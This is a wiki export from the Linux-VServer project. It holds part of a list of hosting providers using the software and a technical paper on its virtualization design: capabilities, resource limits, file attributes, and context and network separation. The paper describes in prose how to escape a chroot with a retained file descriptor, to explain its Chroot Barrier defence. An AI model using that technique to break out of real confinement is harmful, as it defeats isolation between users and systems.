* Colocation, Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, Webspace, Gameserver, Domains.<br />
* We also setup / implement HA (high availability) cluster and load-balacing solutions.<br />
|-<br />
|<br />
|-<br />
! [http://www.wwip.de W)W)ip High Quality Network]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Offering PBVSC PHP Based Interface to administrate the vservers - PBVSC is back!<br />
* Running since Nov. 2003 stable (Various versions, first we started with vs1.0 now we have 1.22 and kernel 2.4.24 running stable)<br />
* We use VServer too as an alternative between the shared webhosting and serverhousing or rent dedicated server. Customers need a flexible and stable server surroundings and vserver from this projekt is the best we seen out there. Support and community plays hand in hand, not as any commercial products out there. Any other system servers are now in his own vserver on only one big server and it works great. Lower costs on server and therefore lower IT costing. Our IT leader and IT employee in private surroundings, test and use vserver with enthusiasm ;)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.traffic4all.com Traffic4All.com]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Server: AMD Athlon(tm) XP 2800+ - 1,5 GB DDR Ram<br />
* Linux t4a3 2.4.23-vs1.22 #12 Thu Jan 1 16:11:12 CET 2004 i686 AMD Athlon(tm) XP 2800+ AuthenticAMD GNU/Linux<br />
|-<br />
|<br />
|-<br />
! [http://www.infoteck.qc.ca Infoteck Internet]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Servers: Multiple HP LH4 (4 x XEON) and LH6000 (6 x XEON) w/ 4Gb RAM per servers.<br />
* 1.2Tb of shared storage (RAID50)<br />
* Backbone: 2 x 100Mbps backbone (Dual homing/BGP)<br />
|-<br />
| Turkey<br />
|-<br />
! [http://www.natro.com Natro Web Hosting Services]<br />
| rowspan=2 |<br />
* Offering secure Virtual Dedicated Server environments on Debian & Ubuntu hosts with several choices of guests including control panel integration<br />
* Also providing linux hosting services on linux-vserver powered servers<br />
* Clustering of mission critical services<br />
|-<br />
|<br />
|-<br />
! [http://www.omnis.com.tr Omnis Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers, it gives extra security and managment for us.<br />
* It is life saver product.<br />
|-<br />
|<br />
|-<br />
! [http://www.zylon.net/ Zylon Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers to provide an extra layer of security for our customers.<br />
* We do not provide full vservers, we only provide 'standard' webhosting facilities.<br />
|-<br />
|<br />
|-<br />
! [http://www.isp4p.net ISP4P]<br />
| rowspan=2 |<br />
* see also http://www.isp4player.net<br />
* Allround ISP 4 Professionals<br />
* Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, vServer Reselling, Domains<br />
|-<br />
|<br />
|-<br />
! [http://www.rootbash.com Nauck IT KG]<br />
(rootbash.com)<br />
| rowspan=2 |<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.star-hosting.de Star-Hosting]<br />
| rowspan=2 |<br />
* see also http://www.vserver4free.de<br />
* Get dedicated Servers, vServers and many more services with a very high traffic-contingent!!<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.planet-lab.org/ PlanetLab]<br />
| rowspan=2 |<br />
* PlanetLab is an open, globally distributed platform for developing, deploying and accessing planetary-scale network services.<br />
* PlanetLab nodes support both short-term experiments and long-running network services.<br />
* To date, more than 200 research projects at top academic institutions have used PlanetLab to experiment with such diverse topics as distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and distributed query processing. See http://www.planet-lab.org/ for more details.<br />
|-<br />
|<br />
|-<br />
! [http://www.dsvr.co.uk/ Designer Servers Ltd]<br />
| rowspan=2 |<br />
* Offering effective Linux vserver-protected hosting to web professionals in the UK and beyond.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.rosehosting.com Rose Web Services L.L.C.]<br />
| rowspan=2 |<br />
* Founded in April 2001, located in St. Louis, Missouri, USA, Rose Hosting provides all kinds of hosting solutions, including [http://www.rosehosting.com Linux VPS Hosting], based on Linux-VServer Technology.<br />
|-<br />
| USA<br />
|-<br />
! [http://sandino.net/ Sandino Networks]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Dual core servers hardened with GR Security <br />
* Choice of different operating systems: Gentoo, CentOS, Debian, Ubuntu, Slackware, Fedora....<br />
* Choice of different vserver sizes<br />
|-<br />
| México<br />
|-<br />
! [http://www.turnkeyinternet.net TurnKeyInternet.NET]<br />
| rowspan=2 |<br />
* Coast to Coast Datacenter replicated Linux Virtual Private Server packages that are fully mirrored providing 100% uptime.<br />
* Packages include fully managed service and support.<br />
|-<br />
|<br />
|-<br />
! [http://vlinux.biz vlinux.biz]<br />
| rowspan=2 |<br />
* vservers with RAID1/QuadCore/8GB host (512MB guaranteed)<br />
* multihomed location in germany with 4x 1 Gbit uplink.<br />
* Starting with 11.90 EUR / month for a 40GB Raid1 disk, 100 GB traffic p.M. with Gbit Connection (1 IP)<br />
* this ISP also offers a large variety of [http://www.smart-weblications.de/rootserver/ root servers] and also offers server homing.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.cityservers.net/ CityServers.Net]<br />
Dedicated Servers<br />
| rowspan=2 |<br />
* Offering dedicated servers and economic Fedora vServers hosting to IT professionals in the EU.<br />
* Packages include fully managed service and support.<br />
|-<br />
| Poland<br />
|-<br />
! [http://www.vps2go.com/ VPS2GO]<br />
| rowspan=2 |<br />
* Currenly using the stable version but will be upgraded to new 2.6 kernel + vs2.0 soon. <br />
|-<br />
| Japan<br />
|-<br />
! [http://www.net-lab.net net-lab] <br />
vserver/web-hosting<br />
| rowspan=2 |<br />
* Currently run our first testing host on kernel 2.6 + vs2.0 is running. Server Location: Frankfurt, near DE-CIX.<br />
* Commercial offer for vserver accounts soon available.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.stepping-stone.ch stepping stone GmbH]<br />
| rowspan=2 |<br />
* Our whole ISP infrastructure (Mail, Web, Directories, ...) is built upon the 2.0 vServer series on the 2.6 Linux kernel, running Gentoo Linux.<br />
* We provide [http://www.stepping-stone.ch/en/products/vserver/linux-vserver-starter/ Gentoo and Debian vServers].<br />
* iptables/netfilter rules are implemented free of charge on the carrier as part of our service.<br />
* As a speciality, you can run [http://www.asterisk.org/ Asterisk] in our vServers! <br />
* Furthermore we're specialized in providing high availability solutions in combination with [[Welcome_to_Linux-VServer.org|Linux VServer]] and [http://www.drbd.org/ DRBD].<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.vroutix.com vRoutix]<br />
| rowspan=2 |<br />
* Offering kernel 2.6 Vservers in Argentina. Compaq Xeon/Sun Ultrasparc Servers (with Raid1).<br />
* Very affordable prices.<br />
* Starter: Very low price !<br />
* Lite: Low end users<br />
* Standard: small bussiness<br />
* Pro: mid-size bussiness<br />
* Control panel to monitor your vServer performance, processes, storage, traffic, account data, etc.<br />
* vServers demo accounts for Free. Try out one of our vServers !!!.<br />
* Now with iptables support inside your vServer !!!<br />
|-<br />
| Argentina<br />
|-<br />
! [http://www.mpexnetworks.de MPeXnetworks] <br />
MPeX.net GmbH<br />
| rowspan=2 |<br />
* High performance virtual servers on RAID1 Hosts<br />
* Leistungsfähige virtuelle Server für Ihr Unternehmen.<br />
* MPeXnetworks is offering three vserver packets.<br />
* Our systems have a low customer density, resulting in more power for everyone.<br />
* Nagios monitoring and free e-mail notification is included.<br />
* All VServer offers include a 30 day money-back-guarantee.<br />
|-<br />
| Berlin/Germany<br />
|-<br />
! [http://www.sentiensystems.com SentienSystems]<br />
| rowspan=2 |<br />
* High performance, quality, and secure Virtual Private Servers<br />
* SentienSystems(.com/.net) proudly utilizes and promotes open source software such as Linux-VServer on the secure and performance-intensive Gentoo Linux platform.<br />
|-<br />
| Austin, Texas, USA<br />
|-<br />
! [http://new.pipni.cz/vindex.phtml PIPNI s.r.o]<br />
| rowspan=2 |<br />
* Linux 2.6 Vservers on Intel Xeon platform<br />
* Providing free and payed vServer hosting. Freehosting has no guarantee, payed are guaranted.<br />
* You can select from Slackware, Gentoo or Debian hosting.<br />
* Freehosting specs: 333 MHz CPU, 128 MB RAM, 2 GB HDD space, 10 GB traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.croup.de croup.de]<br />
crossmedia solutions<br />
| rowspan=2 |<br />
* We provide individual VServer installations for our customers in Germany using Gentoo Linux.<br />
|-<br />
| Germany<br />
|-<br />
! [http://hosting.media72.co.uk Media72 hosting]<br />
| rowspan=2 |<br />
* Red Hat Enterprise Linux solutions<br />
* We provide custom hosting solutions starting from £2.08 a year. Virus and spam protection as standard on all accounts.<br />
<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.upfrontsystems.co.za/hosting/ploneserver Upfront Systems]<br />
| rowspan="2" |<br />
* Servers in Germany and South Africa<br />
* Debian stable hosts based on linux vserver<br />
* Dedicated (but not limited to) Zope and Plone hosting<br />
<br />
|-<br />
| South Africa<br />
|-<br />
! [http://www.notjusthosting.com NotJustHosting]<br />
NotJustHosting<br />
| rowspan="2" |<br />
* Servers in Germany<br />
* Debian stable hosts based on linux vserver, individual solutions<br />
* Fully managed and self-managed packages<br />
* Ruby on Rails, Zope<br />
|-<br />
| Germany - Berlin<br />
|-<br />
! [http://vege.net/vserver vege.net GmbH]<br />
web-hosting / vserver <br />
| rowspan="2" |<br />
* Linux VServer hosting including OpenVCP, DRBD, LVM snapshots<br />
* Servers located in Germany<br />
|-<br />
| Germany - Bremen<br />
|-<br />
<br />
! [http://www.netcup.de/vserver/ netcup vServer]<br />
| rowspan=2 |<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
* Prepared Images with SysCP or Confixx<br />
* Rescue-System<br />
* Firewall<br />
* Backup- / Snapshot-System (Backup / Restore per Click)<br />
|-<br />
| Germany - Karlsruhe<br />
|-<br />
<br />
! [http://www.webhost-direkt.de/ Webhost-Direkt]<br />
| rowspan=2 |<br />
* Webhosting<br />
* Webspace<br />
* vserver<br />
* Reseller<br />
* Domainrobot<br />
* Managed Hosting<br />
|-<br />
| Germany - Heilbronn<br />
|-<br />
<br />
! [http://www.vserver.si Vserver.si]<br />
| rowspan="2" |<br />
* Virtual Private Servers<br />
* Managed Servers<br />
* Hosting<br />
* Domain registration<br />
* Colocation<br />
<br />
|-<br />
| Slovenia<br />
|- <br />
<br />
! [http://www.alvotech.de/vserver/ Alvotech GmbH - vServer]<br />
| rowspan=2 |<br />
* Guaranteed RAM and CPU availability<br />
* Fully Online administration<br />
* On-the-fly web-based VServer configuration tools <br />
* Prepared Images with Confixx<br />
* Firewall<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
<br />
! [http://www.topnetworks.de Topnetworks e.K.]<br />
| [http://www.topnetworks.de/vserver.html Linux VServer]<br />
* Linux Kernel 2.6 based vServers<br />
* Fully Online administration<br />
* Hosted in professional certified datacenter in Germany<br />
* Distributions: Debian, Ubuntu, RedHat, Fedora Core, CentOS, Asterisk<br />
* Firewall<br />
* Providing payed vserver hosting. Starting from 1.99 EUR per month.<br />
* Supported Linux VServer project since 2007<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
! [http://www.toile-libre.org Toile-libre ! ]<br />
| rowspan=2 |<br />
* Non profit Organization offering Vservers with 256Mo of RAM, 10Go of Disk, 1 IPv4 address (IPv6 planned), a guaranteed part of the CPUs ...<br />
* ... at free price (you decide how much you want/can pay) !<br />
* Hosted by http://as48920.net in France ; Contact us by mail: contact@toile-libre.org ;<br />
|-<br />
| France<br />
|-<br />
<br />
|}</div>Daniel hozachttp://svn.linux-vserver.org/PaperPaper2011-05-12T12:01:09Z<p>Daniel hozac: Reverted edits by 173.242.117.174 (Talk) to last revision by 128.117.10.113</p>
<hr />
<div>== Abstract ==<br />
<br />
A soft partitioning concept based on ''Security Contexts'' which permits the creation of many independent Virtual Private Servers (VPS) that run simultaneously on a single physical server at full speed, efficiently sharing hardware resources.<br />
<br />
A VPS provides an almost identical operating environment as a conventional Linux Server. All services, such as ssh, mail, Web and databases, can be started on such a VPS, without (or in special cases with only minimal) modification, just like on any real server.<br />
<br />
Each virtual server has its own user account database and root password and is isolated from other virtual servers, except for the fact that they share the same hardware resources.<br />
<br />
== Introduction ==<br />
<br />
Over the years, computers have become sufficiently powerful to use virtualization to create the illusion of many smaller virtual machines, each running a separate operating system instance.<br />
<br />
There are several kinds of Virtual Machines (VMs) which provide similar features, but differ in the degree of abstraction and the methods used for virtualization.<br />
<br />
Most of them accomplish what they do by ''emulating'' some real or fictional hardware, which in turn requires ''real'' resources from the Host (the machine running the VMs). This approach, used by most System Emulators (like QEMU, Bochs, ...), allows the emulator to run an arbitrary Guest Operating System, even for a different Architecture (CPU and Hardware). No modifications need to be made to the Guest OS because it isn't aware of the fact that it isn't running on real hardware.<br />
<br />
Some System Emulators require small modifications or specialized drivers to be added to Host or Guest to improve performance and minimize the overhead required for the hardware emulation. Although this significantly improves efficiency, there are still large amounts of resources being wasted in caches and mediation between Guest and Host (examples for this approach are UML and Xen).<br />
<br />
But suppose you do not want to run many different Operating Systems simultaneously on a single box? Most applications running on a server do not require hardware access or kernel level code, and could easily share a machine with others, if they could be separated and secured...<br />
<br />
== The Concept ==<br />
<br />
At a basic level, a Linux Server consists of three building blocks: Hardware, Kernel and Applications. The Hardware usually depends on the provider or system maintainer, and, while it has a big influence on the overall performance, it cannot be changed that easily, and will likely differ from one setup to another.<br />
<br />
The main purpose of the Kernel is to build an abstraction layer on top of the hardware to allow processes (Applications) to work with and operate on resources (Data) without knowing the details of the underlying hardware. Ideally, those processes would be completely hardware agnostic, by being written in an interpreted language and therefore not requiring any hardware-specific knowledge.<br />
<br />
Given that a system has enough resources to drive ten times the number of applications a single Linux server would usually require, why not put ten servers on that box, which will then share the available resources in an efficient manner?<br />
<br />
Most server applications (e.g. httpd) will assume that it is the only application providing a particular service, and usually will also assume a certain filesystem layout and environment. This dictates that similar or identical services running on the same physical server, but for example, only differing in their addresses, have to be coordinated. This typically requires a great deal of administrative work which can lead to reduced system stability and security.<br />
<br />
The basic concept of the Linux-VServer solution is to separate the user-space environment into distinct units (sometimes called Virtual Private Servers) in such a way that each VPS looks and feels like a real server to the processes contained within.<br />
<br />
Although different Linux Distributions use (sometimes heavily) patched kernels to provide special support for unusual hardware or extra functionality, most Linux Distributions are not tied to a special kernel.<br />
<br />
Linux-VServer uses this fact to allow several distributions, to be run simultaneously on a single, shared kernel, without direct access to the hardware, and share the resources in a very efficient way.<br />
<br />
== Existing Infrastructure ==<br />
<br />
Recent Linux Kernels already provide many security features that are utilized by Linux-VServer to do its work. Especially features such as the Linux Capability System, Resource Limits, File Attributes and the Change Root Environment. The following sections will give a short overview about each of these.<br />
<br />
=== Linux Capability System ===<br />
<br />
In computer science, a capability is a token used by a process to prove that it is allowed to perform an operation on an object. The Linux Capability System is based on "POSIX Capabilities", a somewhat different concept, designed to split up the all powerful root privilege into a set of distinct privileges.<br />
<br />
==== POSIX Capabilities ====<br />
<br />
A process has three sets of bitmaps called the inheritable(I), permitted(P), and effective(E) capabilities. Each capability is implemented as a bit in each of these bitmaps that is either set or unset.<br />
<br />
When a process tries to do a privileged operation, the operating system will check the appropriate bit in the effective set of the process (instead of checking whether the effective uid of the process is 0 as is normally done).<br />
<br />
For example, when a process tries to set the clock, the Linux kernel will check that the process has the CAP_SYS_TIME bit (which is currently bit 25) set in its effective set.<br />
<br />
The permitted set of the process indicates the capabilities the process can use. The process can have capabilities set in the permitted set that are not in the effective set.<br />
<br />
This indicates that the process has temporarily disabled this capability. A process is allowed to set a bit in its effective set only if it is available in the permitted set. The distinction between effective and permitted exists so that processes can "bracket" operations that need privilege.<br />
<br />
The inheritable capabilities are the capabilities of the current process that should be inherited by a program executed by the current process. The permitted set of a process is masked against the inheritable set during exec(). Nothing special happens during fork() or clone(). Child processes and threads are given an exact copy of the capabilities of the parent process.<br />
<br />
The implementation in Linux stopped at this point, whereas POSIX Capabilities[U5] requires the addition of capability sets to files too, to replace the SUID flag (at least for executables). The pending Linux 2.6.24 kernel supports file POSIX capabilities. (See Serge Hallyn's [http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=b53767719b6cd8789392ea3e7e2eb7b8906898f0 git commit] of Wed, 17 Oct 2007.) One userspace tool capable of changing file capabilities is the 2.X version of Andrew Morgan's [http://kernel.org/pub/linux/libs/security/linux-privs/ libcap] library and programs.<br />
<br />
==== Capability Overview ====<br />
<br />
The list of POSIX Capabilities used with Linux is long, and the 32 available bits are almost used up. While the detailed list of all capabilities can be found in /usr/include/linux/capability.h on most Linux systems, an overview of important capabilities is given here.<br />
<br />
{| class="wikitablenowrap"<br />
! [0] CAP_CHOWN<br />
| change file ownership and group.<br />
|-<br />
! [5] CAP_KILL<br />
| send a signal to a process with a different real or effective user ID<br />
|-<br />
! [6] CAP_SETGID<br />
| permit setgid(2), setgroups(2), and forged gids on socket credentials passing<br />
|-<br />
! [7] CAP_SETUID<br />
| permit set*uid(2), and forged uids on socket credentials passing<br />
|-<br />
! [8] CAP_SETPCAP<br />
| transfer/remove any capability in permitted set to/from any pid<br />
|-<br />
! [9] CAP_LINUX_IMMUTABLE<br />
| allow modification of S_IMMUTABLE and S_APPEND file attributes<br />
|-<br />
! [11] CAP_NET_BROADCAST<br />
| permit broadcasting and listening to multicast<br />
|-<br />
! [12] CAP_NET_ADMIN<br />
| permit interface configuration, IP firewall, masquerading, accounting, socket debugging, routing tables, bind to any address, enter promiscuous mode, multicasting, ...<br />
|-<br />
! [13] CAP_NET_RAW<br />
| permit usage of RAW and PACKET sockets<br />
|-<br />
! [16] CAP_SYS_MODULE<br />
| insert and remove kernel modules<br />
|-<br />
! [18] CAP_SYS_CHROOT<br />
| permit chroot(2)<br />
|-<br />
! [19] CAP_SYS_PTRACE<br />
| permit ptrace() of any process<br />
|-<br />
! [21] CAP_SYS_ADMIN<br />
| this list would be too long, it basically allows to do everything else, not mentioned in another capability.<br />
|-<br />
! [22] CAP_SYS_BOOT<br />
| permit reboot(2)<br />
|-<br />
! [23] CAP_SYS_NICE<br />
| allow raising priority and setting priority on other processes, modify scheduling<br />
|-<br />
! [24] CAP_SYS_RESOURCE<br />
| override resource limits, quota, reserved space on fs, ...<br />
|-<br />
! [27] CAP_MKNOD<br />
| permit the privileged aspects of mknod(2)<br />
|}<br />
<br />
=== Resource Limits ===<br />
<br />
Resources for each process can be limited by specifying a Resource Limit. Similar to the Linux Capabilities, there are two different limits, a Soft Limit and a Hard Limit.<br />
<br />
The soft limit is the value that the kernel enforces for the corresponding resource. The hard limit acts as a ceiling for the soft limit: an unprivileged process may only set its soft limit to a value in the range from zero up to the hard limit, and (irreversibly) lower its hard limit. A privileged process may make arbitrary changes to either limit value, as long as the soft limit stays below the hard limit.<br />
<br />
==== Limit-able Resource Overview ====<br />
<br />
The list of all defined resource limits can be found in /usr/include/asm/resource.h on most Linux systems, an overview of relevant resource limits is given here.<br />
<br />
{| class="wikitablenowrap"<br />
|-<br />
! [0] RLIMIT_CPU<br />
| CPU time in seconds. process is sent a SIGXCPU signal after reaching the soft limit, and SIGKILL on hard limit.<br />
|-<br />
! [4] RLIMIT_CORE<br />
| maximum size of core files generated<br />
|-<br />
! [5] RLIMIT_RSS<br />
| number of pages the process's resident set can consume (the number of virtual pages resident in RAM)<br />
|-<br />
! [6] RLIMIT_NPROC<br />
| The maximum number of processes that can be created for the real user ID of the calling process.<br />
|-<br />
! [7] RLIMIT_NOFILE<br />
| Specifies a value one greater than the maximum file descriptor number that can be opened by this process.<br />
|-<br />
! [8] RLIMIT_MEMLOCK<br />
| The maximum number of virtual memory pages that may be locked into RAM using mlock() and mlockall().<br />
|-<br />
! [9] RLIMIT_AS<br />
| The maximum number of virtual memory pages available to the process (address space limit). \<br />
|}<br />
<br />
=== File Attributes ===<br />
<br />
Originally, this feature was only available with ext2, but now all major filesystems implement a basic set of File Attributes that permit certain properties to be changed. Here again is a short overview of the possible attributes, and what they mean.<br />
<br />
{| class="wikitablenowrap"<br />
! <br />
! Macro Name<br />
! Meaning<br />
|-<br />
! s <br />
! SECRM<br />
| When a file with this attribute set is deleted, its blocks are zeroed and written back to the disk.<br />
|-<br />
! u <br />
! UNRM<br />
| When a file with this attribute set is deleted, its contents are saved.<br />
|-<br />
! c <br />
! COMPR<br />
| Files marked with this attribute are automatically compressed on write and uncompressed on read. (not implemented yet)<br />
|-<br />
! i <br />
! IMMUTABLE<br />
| A file with this attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file.<br />
|-<br />
! a <br />
! APPEND<br />
| Files with this attribute set can only be opened in append mode for writing.<br />
|-<br />
! d <br />
! NODUMP<br />
| If this flag is set, the file is not candidate for backup with the dump utility.<br />
|-<br />
! S <br />
! SYNC<br />
| Updates to the file contents are done synchronously.<br />
|-<br />
! A <br />
! NOATIME<br />
| Prevents updating the atime record on files when they are accessed or modified.<br />
|-<br />
! t <br />
! NOTAIL<br />
| A file with the t attribute will not have a partial block fragment at the end of the file merged with other files.<br />
|-<br />
! D <br />
! DIRSYNC<br />
| Changes to a directory having this attribute set will be done synchronously.<br />
|}<br />
<br />
The first column in the above table denotes command line options one might supply to ''lsattr'' respectively ''chattr''. The below screedump gives a notion about what we are talking:<br />
<pre><br />
max@pc1:~$ cd /tmp/<br />
max@pc1:/tmp$ touch my_file<br />
max@pc1:/tmp$ lsattr my_file<br />
------------------ my_file<br />
max@pc1:/tmp$ chattr +a my_file<br />
chattr: Operation not permitted while setting flags on my_file<br />
max@pc1:/tmp$ su<br />
Password:<br />
pc1:/tmp# chattr +a my_file && lsattr my_file<br />
-----a------------ my_file<br />
pc1:/tmp# exit<br />
exit<br />
max@pc1:/tmp$<br />
</pre><br />
<br />
As you might have noticed, one needs to gain root permissions in the upper showcase (the underlying file system was ext3). For more information just issue ''man 1 chattr'' in your command line interface.<br />
<br />
<br />
Information regarding file attributes can be found in the kernel source code. Every file system uses a subset of all known attributes (which are used depends on the file system). <br />
<br />
One thing can be said for sure -- the file attributes listed in the kernel source code are defined -- those are not listed are not defined and in turn can not be used for a particular file system (e.g. ext3 (Extended File System version 3)). However, many of those file attributes defined and understood by the kernel have no effect. Most file systems define those flags in a specific (specific for a particular file system) header file found within the kernel source tree. They also define a so called '''User Modifiable Mask''' (those are the flags the user can change with the ''ioctls'').<br />
<br />
Those flags have partially different meaning depending on the node type (i.e. dir, inode, fifo, pipe, device) and it is not trivial to say if a filesystem makes use of any user modifiable flag -- things like immutable are easy to verify (from user space) but how to verify e.g. NOTAIL from user space? Usually only source code review will show if it is implemented and used.<br />
<br />
For example, if that didn't change, the COMPR is defined, and well understood by ext2/3 but there is no implementation there, i.e. nothing is compressed.<br />
<br />
=== The chroot(1) Command ===<br />
<br />
chroot allows you to run a command with a different directory acting as the root directory. This means that all filesystem lookups are done with '/' referring to the substitute root directory and not to the original one.<br />
<br />
While the Linux chroot implementation isn't very secure, it increases the isolation of processes with regards to the filesystem, and, if used properly, can create a filesystem "jail" for a single process or a restricted user, daemon or service.<br />
<br />
== Required Modifications ==<br />
<br />
This chapter will describe the essential Kernel modifications to implement something like Linux-VServer.<br />
<br />
=== Context Separation ===<br />
<br />
The separation mentioned in the Concepts section requires some modifications to the kernel to allow for the notion of Contexts.<br />
The purpose of this "Context" is to hide all processes outside of its scope, and prohibit any unwanted interaction between a process inside the context and a process belonging to another context.<br />
<br />
This separation requires the extension of some existing data structures in order for them to become aware of contexts and to differentiate between identical uids used in different virtual servers.<br />
<br />
It also requires the definition of a default context that is used when the host system is booted, and to work around the issues resulting from some false assumptions made by some user-space tools (like pstree) that the init process has to exist and to be running under id '1'.<br />
<br />
To simplify administration, the Host Context isn't treated any differently than any other context as far as process isolation is concerned. To allow for process overview, a special Spectator context has been defined to peek at all processes at once.<br />
<br />
=== Network Separation ===<br />
<br />
While the Context Separation is sufficient to isolate groups of processes, a different kind of separation, or rather a limitation, is required to confine processes to a subset of available network addresses.<br />
<br />
Several issues have to be considered when doing so; for example, the fact that bindings to special addresses like IPADDR_ANY or the local host address have to be handled in a very special way.<br />
<br />
Currently, Linux-VServer doesn't make use of virtual network devices (and maybe never will) to minimize the resulting overhead. Therefore socket binding and packet transmission have been adjusted.<br />
<br />
=== The Chroot Barrier ===<br />
<br />
One major problem of the chroot() system used in Linux lies within the fact that this information is volatile, and will be changed on the next chroot() Syscall.<br />
<br />
One simple method to escape from a chroot-ed environment is as follows: First, create or open a file and retain the file-descriptor, then chroot into a subdirectory at equal or lower level with regards to the file. This causes the root to be moved down in the filesystem. Next, use fchdir() on the file-descriptor to escape from that new root. This will consequently escape from the old root as well, as this was lost in the last chroot() Syscall.<br />
<br />
While early Linux-VServer versions tried to fix this by "funny" methods, recent versions use a special marking, known as the Chroot Barrier, on the parent directory of each VPS to prevent unauthorized modification and escape from confinement.<br />
<br />
=== Upper Bound for Caps ===<br />
<br />
Because the current Linux Capability system does not implement the filesystem related portions of POSIX Capabilities which would make setuid and setgid executables secure, and because it is much safer to have a secure upper bound for all processes within a context, an additional per-context capability mask has been added to limit all processes belonging to that context to this mask.<br />
<br />
The meaning of the individual caps (bits) of the capability bound mask is exactly the same as with the permitted capability set.<br />
<br />
=== Resource Isolation ===<br />
<br />
Most resources are somewhat shared among the different contexts. Some require more additional isolation than others, either to avoid security issues or to allow for improved accounting.<br />
<br />
Those resources are:<br />
<br />
* shared memory, IPC<br />
* user and process IDs<br />
* file xid tagging<br />
* Unix ptys<br />
* sockets<br />
<br />
=== Filesystem XID Tagging ===<br />
<br />
Although it can be disabled completely, this modification is required for more robust filesystem level security and context isolation. It is also mandatory for Context Disk Limits and Per Context Quota Support on a shared partition.<br />
<br />
The concept of adding a context id (xid) to each file to make the context ownership persistent sounds simple, but the actual implementation is non-trivial - mainly because adding this information either requires a change to the on disk representation of the filesystem or the application of some tricks.<br />
<br />
One non-intrusive approach to avoid modification of the underlying filesystem is to use the upper bits of existing fields, like those for UID and GID to store the additional XID.<br />
<br />
Once context information is available for each inode, it is a logical step to extend the access controls to check against context too.<br />
Currently all inode access restrictions have been extended to check for the context id, with special exceptions for the Host Context and the Spectator Context.<br />
<br />
Untagged files belong to the Host Context and are silently treated as if they belong to the current context, which is required for Unification. If such a file is modified from inside a context, it silently migrates to the new one, changing its xid.<br />
<br />
The following Tagging Methods are implemented:<br />
{| class="wikitablenowrap"<br />
! UID32/GID32 or EXTERNAL<br />
| This format uses currently unused space within the disk inode to store the context information. As of now, this is only defined for ext2/ext3 but will be also defined for xfs, reiserfs, and jfs as soon as possible. Advantage: Full 32bit uid/gid values.<br />
|-<br />
! UID32/GID16<br />
| This format uses the upper half of the group id to store the context information. This is done transparently, except if the format is changed without prior file conversion. Advantage: works on all 32bit U/GID FSs. Drawback: GID is reduced to 16 bits.<br />
|-<br />
! UID24/GID24<br />
| This format uses the upper quarter of user and group id to store the context information, again transparently. This allows for about 16 million user and group ids, which should suffice for the majority of all applications. Advantage: works on all 32bit U/GID FSs. Drawback: UID and GID are reduced to 24 bits.<br />
|}<br />
<br />
== Additional Modifications ==<br />
<br />
In addition to the bare minimum, there are a number of modifications that are not mandatory, but have proven extremely useful over time.<br />
<br />
=== Context Flags ===<br />
<br />
It was very soon discovered that some features require a flag, a kind of switch to turn them on and off separately for each Linux-VServer, so a simple flag-word was added.<br />
<br />
This flag-word supports quite a number of flags, a flag-word mask, which allows to tell what flags are available, and a special trigger mechanism, providing one-time flags, set on startup, that can only be cleared once, usually causing a special action or event.<br />
<br />
Here is a list of planned and mostly implemented Context Flags, available in the development branch of Linux-VServer:<br />
<br />
{| class="wikitablenowrap"<br />
! [0] VXF_INFO_LOCK<br />
| (legacy, obsoleted)<br />
|-<br />
! [1] VXF_INFO_SCHED<br />
| schedule all processes in a context as if they where one. (legacy, obsoleted)<br />
|-<br />
! [2] VXF_INFO_NPROC<br />
| limit the number of processes in a context to the initial NPROC value. (legacy, obsoleted)<br />
|-<br />
! [3] VXF_INFO_PRIVATE<br />
| do not allow to join this context from outside. (legacy)<br />
|-<br />
! [4] VXF_INFO_INIT<br />
| show the init process with pid '1' (legacy)<br />
|-<br />
! [5] VXF_INFO_HIDE<br />
| (legacy, obsoleted)<br />
|-<br />
! [6] VXF_INFO_ULIMIT<br />
| (legacy, obsoleted)<br />
|-<br />
! [7] VXF_INFO_NSPACE<br />
| (legacy, obsoleted)<br />
|-<br />
! [8] VXF_SCHED_HARD<br />
| activate the Hard CPU scheduling<br />
|-<br />
! [9] VXF_SCHED_PRIO<br />
| use the context token bucket for calculating the process priorities<br />
|-<br />
! [10] VXF_SCHED_PAUSE<br />
| put all processes in this context on the hold queue, not scheduling them any longer<br />
|-<br />
! [16] VXF_VIRT_MEM<br />
| virtualize the memory information so that the VM and RSS limits are used for meminfo and friends<br />
|-<br />
! [17] VXF_VIRT_UPTIME<br />
| virtualize the uptime, beginning with the time of context creation<br />
|-<br />
! [18] VXF_VIRT_CPU<br />
|<br />
|-<br />
! [24] VXF_HIDE_MOUNT<br />
| show empty proc/{pid}/mounts<br />
|-<br />
! [25] VXF_HIDE_NETIF<br />
| hide network interfaces and addresses not permitted by the network context<br />
|}<br />
<br />
=== Context Capabilities ===<br />
<br />
As the Linux Capabilities have almost reached the maximum number that is possible without heavy modifications to the kernel, it was a natural step to add a context-specific capability system.<br />
<br />
The Linux-VServer context capability set acts as a mechanism to fine tune existing Linux capabilities. It is not visible to the processes within a context, as they would not know how to modify or verify it.<br />
<br />
In general there are two ways to use those capabilities:<br />
<br />
* Require one or a number of context capabilities to be set in addition to a given Linux capability, each one controlling a distinct part of the functionality.For example the CAP_NET_ADMIN could be split into RAW and PACKET sockets, so you could take away each of them separately by not providing the required context capability.<br />
<br />
